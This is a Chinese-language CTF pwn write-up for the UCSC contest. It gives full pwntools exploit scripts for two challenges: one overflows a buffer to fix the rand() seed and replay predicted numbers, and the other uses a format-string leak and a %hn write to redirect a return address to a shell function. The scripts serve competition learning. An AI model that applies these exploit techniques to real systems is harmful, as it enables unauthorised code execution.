UCSC-CTF Pwn WriteUp

前言

这次UCSC就写了半个小时不到,十有八九是学校的问题 T.T

学校怎么这么坏啊

相关附件

FoBido

image

第一眼就看到栈溢出

image

可以溢出到seed

则rand()变得可预测

Tip:

这里的可预测是在固定Seed下的随机数 顺序及数字 完全相同,有时环境不同,模拟结果也会不同。

我没学过ctype,又怕线上环境不一样,直接不选择模拟,直接选择开干

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

file = "./BoFido"
elf = ELF(file)

context(arch=elf.arch, os='linux')


a, b, c = 0, 0, 0
j = [[],[],[]]


def play_round(io, round_num):
global a, b, c


if round_num == 1:

io.sendlineafter(b'please choose your numbers:\n', b"1 2 3")
else:

io.sendlineafter(b'please choose your numbers:\n', f"{a} {b} {c}".encode())


io.recvuntil(b"The lucky number is: ")
line = io.recvline().decode().strip()
a, b, c = map(int, line.split())

prize = io.recvuntil(b"Congratulations! You won", drop=True)
j[0].append(a)
j[1].append(b)
j[2].append(c)
success(f"Round {round_num}: Lucky numbers {j[0][round_num-1]} {j[1][round_num-1]} {j[2][round_num-1]} - {prize.decode()}")

# 在线上/本地跑一遍程序,获取随机数
#---------------------------------------------------

if args.REMOTE:
io = remote('39.107.58.236', 44623)
else:
io = process(file)


io.recvuntil(b"Enter your name:")
io.sendline(b'A'*0x25)

for round_num in range(1,11):
play_round(io, round_num)
#---------------------------------------------------

# 根据前面获得的数直接打
#---------------------------------------------------
if args.REMOTE:
io = remote('39.107.58.236', 44623)
else:
io = process(file)

io.recvuntil(b"Enter your name:")
io.sendline(b'A'*0x25)

for i in range(10):
io.sendlineafter(b'please choose your numbers:\n', f"{j[0][i]} {j[1][i]} {j[2][i]}".encode())
io.recvuntil("Congratulations! You won the first prize!",timeout=2)
success(f"Round {i+1} , Pass")


io.recvuntil(b"You're so lucky! Here is your gift!", timeout=1)
io.interactive()

#---------------------------------------------------

userlogin

image

刚进来一看,以为是要过密码

进入login()

image

进入user()

恍然大悟

image

格 式 化 字 符 串 !

那么这个题目就明朗了,直接开打 (甚至不需要去获取基地址就能打)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
import LibcSearcher

file = "./pwn"
elf = ELF(file)

context(arch=elf.arch,os='linux')

if args['DEBUG']:
context.log_level = 'debug'


if args['REMOTE']:
io = remote('192.168.202.151', 32768)
else:
io = process(file)



if elf.arch == 'i386':
B = 4
elif elf.arch == 'amd64':
B = 8
else:
print("PLS Input The Address Byte: ")
B = int(input())
print("B=" +str(B))

sla = lambda ReceivedMessage,SendMessage :io.sendlineafter(ReceivedMessage,SendMessage)
sl = lambda SendMessage :io.sendline(SendMessage)
sa = lambda ReceivedMessage,SendMessage :io.sendafter(ReceivedMessage,SendMessage)
rcv = lambda ReceiveNumber, TimeOut=Timeout.default :io.recv(ReceiveNumber, TimeOut)
rcu = lambda ReceiveStopMessage, Drop=False, TimeOut=Timeout.default :io.recvuntil(ReceiveStopMessage,Drop,TimeOut)

sl(b"supersecureuser")

sla(b"Write Something\n",b"%10$p")

leak_addr = int(io.recv(14), 16) +8 - 0x50
success("Leak Address:" + hex(leak_addr))

shell_addr = 0x1261 +1
payload = "%{}c%8$hnAAAAA".format(shell_addr).encode() + p64(leak_addr)
print(payload)
sl(b"supersecureuser")
#gdb.attach(io)

sla(b"Write Something",payload)

io.interactive()

有可能有些师傅还一脸问号 (bushi

%10$​ 指向地址s1,s1指向s2,因而%10$p​泄露出了s2

用gdb看,是这样的

image

因而泄露的leak_addr是s2,也就是 0x7fffffffe1f0

我们对leak_addr +8 (- 0x50) 就是 返回地址所在的地址

后面就是格式化字符串的老套路了

EOF

疯狂复制

因为自己有事,再加上我的环境发电,于是只做了半个小时不到的题目 (可恶),所以只做到这个题就不动了。

: (((((((((

这个题不想补WP了,应该没有人看到这里吧(bushi

EOF